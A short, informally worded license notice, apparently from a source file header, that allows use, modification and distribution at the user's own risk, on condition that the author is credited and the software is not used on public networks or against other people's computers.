   5 You can do anything what you want with this piece of software (and source code),
   6 but only at yours own risk and responsibility.
   7 You can modify and distribute this software as long as it's not used in public
   8 networks or against extraneous computer and as long as my name is mentioned.
   9 Sorry for my poor english and use it well. ;D
